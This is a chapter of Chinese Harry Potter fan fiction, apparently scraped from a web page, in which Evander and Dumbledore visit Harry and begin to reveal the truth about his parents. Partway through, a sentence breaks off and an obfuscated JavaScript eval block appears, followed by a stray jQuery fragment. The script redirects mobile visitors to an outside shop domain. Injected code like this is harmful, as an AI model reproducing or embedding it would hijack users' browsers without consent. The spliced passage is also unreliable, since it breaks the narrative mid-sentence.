【亲爱的埃凡德：】
从哈利起床、吃完早餐、去商店里买完礼物到现在，几个小时过去了，哈利依然在盯着空白信纸上这行排头发呆。
自从去年7月那场堪称魔幻的奇遇之后，哈利觉得自己如同一潭死水的生活被彻头彻尾的颠覆了。
哪怕埃凡德和迈克尔离开了、不在英国了，德思礼夫妇也再也不敢对他像从前那样了——把他关在又小又暗的储物间里，不允许他去上学，时不时对他施以暴力……
埃凡德说，德思礼夫妇的行为是非常严重的、会遭到非议的、不为社会所容忍的。尽管哈利不是他们的亲生孩子，但只要他们选择了收养而不是把哈利送到福利院去，他们就要承担起责任。
哈利不知道弗农姨父和佩妮姨妈为什么会选择不把他送到福利院去，毕竟，他们并不喜欢他、也不喜欢（甚至可以说是讨厌，哈利不止一次从弗农姨父的嘴里听见贬低他父母的话）他的父母，更不是像迈克尔一样善良的人。
但不管怎样，哈利觉得，他们至少没让自己饿死，现在还“大发慈悲”地将那间存放达利不要的玩具的小房间腾出来给他居住，这已经很不错了。
尽管后来，哈利知道这些改变大部分是因为埃凡德的警告和威胁、以及迈克尔给德思礼夫妇的一笔丰厚资助，他依然会为德思礼一家除草、做早餐，或者干点别的什么活。
从小到大（其实也没多大），哈利听的最多的就是“我们花钱把你养大”“我不指望你懂得感恩，但这不是我们白养一张嘴的理由”，他不想让自己觉得再欠他们什么。
至于迈克尔和埃凡德，哈利下定决心，一定要做些什么来回报他们。
在学校里，哈利依然没有朋友——弗农姨父知道杰克逊的厉害，但达利那比南瓜籽还小的脑仁显然装不下这些，他和他的狐朋狗友依然会追他、打他。可所有人都看得出哈利变了：他不再像从前那样常常以沉默对人，衣着整洁起来，个子窜得飞快，上课和作业也积极了许多。
当然，最重要的是，许多同学都暗中成为了他的客户。哈利悄悄接一些帮别人代写作业的活儿：纯抄写作业20便士一份，需要动脑子完成的50便士一份，整套周末作业1英镑一份，需要模仿字迹每份再加10便士。这项“秘密交易”不知怎样被扩大成了一张巨大的校园暗网，甚至有高年级的人来问哈利能不能写六年级的题目。
“我还没学会那么多，”哈利最终回答，“或许你可以下个学期再来问问。”
当然，中途也不是没有人泄过密——但哈利反应很快，没让人抓到任何把柄。
那次之后，哈利半个月没有接任何“工作”，这让告密者被所有知情的人所痛恨。这并不是哈利的蓄意报复，但也让哈利明白了一些事情。
除此以外，哈利还会利用空闲时间，在女贞路里帮邻居做一些除草、遛狗或者洗车之类的零工赚钱。近一年里，尽管和埃凡德的信件来往是一笔不菲的费用——他不能用德思礼家的电话，哈利执意不要埃凡德为他再多出一笔跨国信件的钱，因为他知道迈克尔在做慈善，世界上有很多人比他更需要这几十、几百英镑——但他还是攒下了不少资金。
他把埃凡德寄过来的跨国信件都收在加拉哈德太太送给他的一个漂亮的饼干盒子里、和他攒下来的钱放在一起。
昨天，他尝试把一张一英镑的纸钞塞进盒子里的时候，却发现盒子里已经没有空隙了。这就是为什么他今天专门跑了一趟，去市区里买下了那条他相中很久的黑曜石手链——彩虹眼的黑曜石手链让哈利想到埃凡德的眼睛，哈利觉得，这条手链应该会很衬埃凡德，作为生日礼物很不错。
可当哈利真的准备写信邮寄包裹时，又不免变得踌躇不前：如果埃凡德需要一条手链，他想用几克拉的钻石串满绳子也可以。哈利不担心埃凡德会嫌弃自己的礼物廉价，只担心他把手链带出去会遭到别人的嘲讽——就像达利和皮尔·波奇嘲笑自己不合身的旧衣服。可这已经是哈利能买得起的、最好最合适的礼物了。
“波特！”弗农姨父的大嗓门从木地板穿透上来，“下来！”
“什么？”哈利同样大声吼着回答弗农——他现在正心烦着呢，“我正在忙！”
“你的朋友来找你！”弗农的这句话喊得及其不情愿。
哈利几乎是把笔往桌子上一扔，飞快地夺门而出，冲下木质楼梯。不用弗农姨父加上更多的限定词，哈利也知道找上门来的朋友是谁。
哈利冲到门口的时候，看见弗农姨父正堵在门口和外面的人对峙，脸色奇差无比，却又不敢发作。埃凡德似乎也没有想要进门的意思，只是微笑着站在那里，看见哈利过来，顿时将目光转向他。
“大忙人啊，哈利，”埃凡德调侃道，哈利注意到，他比去年高了许多，尽管刻意放轻了声音，但还是听得出更低沉了一些，“好久不见。”
“哦，好久不见……”
哈利有点不知道自己现在应该做什么了，上去给埃凡德一个拥抱吗？
他本来应该表达重逢的喜悦，但话到嘴边，脱口而出的却变成了：
“你们怎么突然来了？”
下一秒，他立刻找补道：“不，我不是不欢迎你的意思。我是说，这也太突然了，我一点儿准备也没有……”
哈利的头发乱糟糟的，衣衫也因为刚才对烦心和突发状况而显得有些凌乱。说话之间，他才发现，来的人不仅仅是埃凡德，还有一个很眼熟的大胡子、和一个穿着奇怪衣服的长胡子长发老人。
“你好，哈利，”尽管从未见过面，哈利却莫名对眼前这个老人有种亲切感，“我们能出去来一场下午茶吗——如果你现在有空的话？”
哈利看向埃凡德，却发现埃凡德没有任何意外的表情。于是他点头答应，说：
“哦，当然可以，这位先生。不过您得等我先去拿点东西。”
…………
当他们在甜品店里坐下来点单的时候，哈利才惊讶地发现这个“大胡子”竟然是迈克尔！
为了他的反应，迈克尔笑得停不下来，直把脑袋埋在埃凡德的肩膀上，声音和动作引来店里唯一的服务员阵阵异样的目光——埃凡德毫不怀疑，如果不是他们是店里唯一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642801|204369||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的一桌顾客，服务员肯定要把他们赶出去。
“我今年九月份就要来英国上学了，哈利，”等迈克尔终于停下来，埃凡德才开始直入主题，“不过是在寄宿学校。这位是我的校长，邓布利多教授。”
哈利礼貌地向邓布利多问好，但心中依然非常疑惑——埃凡德来英国上学，这当然是件好事；但他的教授又和自己有什么关系呢？
埃凡德看了邓布利多一眼，然后继续说了下去。
“我了解到，你父母也曾经是邓布利多教授的学生。”
哈利只感觉脑子里“轰”的一响，万千思绪浮现：对他而言，父亲和母亲只是两个名字，他从来不知道他们长什么样，因为自他记事以来，他就从未见过他们。他曾无数次想象过他们的样子，但最终，那些画面都无法成型。
而现在，父母的授业恩师就坐在自己的对面……天啊，他刚才还叫自己“哈利”。
可是，这位校长为什么衣着会如此独特呢？没有人会在20世纪的英国穿着这样一身古怪的长袍作为日常出行的服装——哈利敢肯定这一点。他不敢想象，如果圣格雷戈里小学的校长或者老师穿成这样，德思礼夫妇会如何尖叫着投诉学校带坏孩子。
“我的父母？”哈利听见声音从自己的嗓子里挤出来，像是因为没盖好盖子而变得干巴巴的牙膏。
“是的，詹姆斯·波特和莉莉·伊万斯，”邓布利多和颜悦色地回答，“当然啦，在嫁给你父亲之后，莉莉就改姓为波特了。他们都是我最优秀的学生之一。”
最优秀的学生——哈利从来没想过能从别人的嘴里得到对自己的父母这样正常甚至友善的评价。弗农姨父说詹姆“是个混混”，说莉莉是“怪胎”……
“我从来不知道这些。弗农姨父说我妈妈是怪胎，我爸爸是不学无术的混混，”哈利说，“他们一点也不愿意提起我父母，也不允许我提起他们。”
“不，”邓布利多摇头，“正相反，你父母天赋异禀，而且极其富有正义感。正因为如此，他们才会为了保护你而牺牲。”
“什么？”哈利被搞糊涂了，“可是他们不是因为车祸去世的吗？”
“哦，我很抱歉，哈利，那只是对外的说法，”邓布利多镜片后的蓝眼睛一眨不眨地看着哈利，像两团幽灵的鬼火，“实际上，他们是英雄。”
一瞬间，哈利想了许多——难道说，詹姆斯和莉莉是什么机密机构的特工，隐瞒他们死亡的真相是为了保密？可那又为什么会说“他们是为了保护你而牺牲”的呢？
“那就是一个很长的故事了，”邓布利多仿佛看透了哈利的心中所想，“别着急，哈利，我们今天还有很多时间……”
还有很多时间，让你走进另一个世界。
—————————
本章注释：
1.严肃声明，没有鼓吹代写作业是正当行为的意思。
2.佩妮在原文里就有“用平底锅打哈利的头”的行为，说他们使用暴力不是空穴来风。
3.“圣格雷戈里”是电影里哈利小学的名字，原著里没有出现过。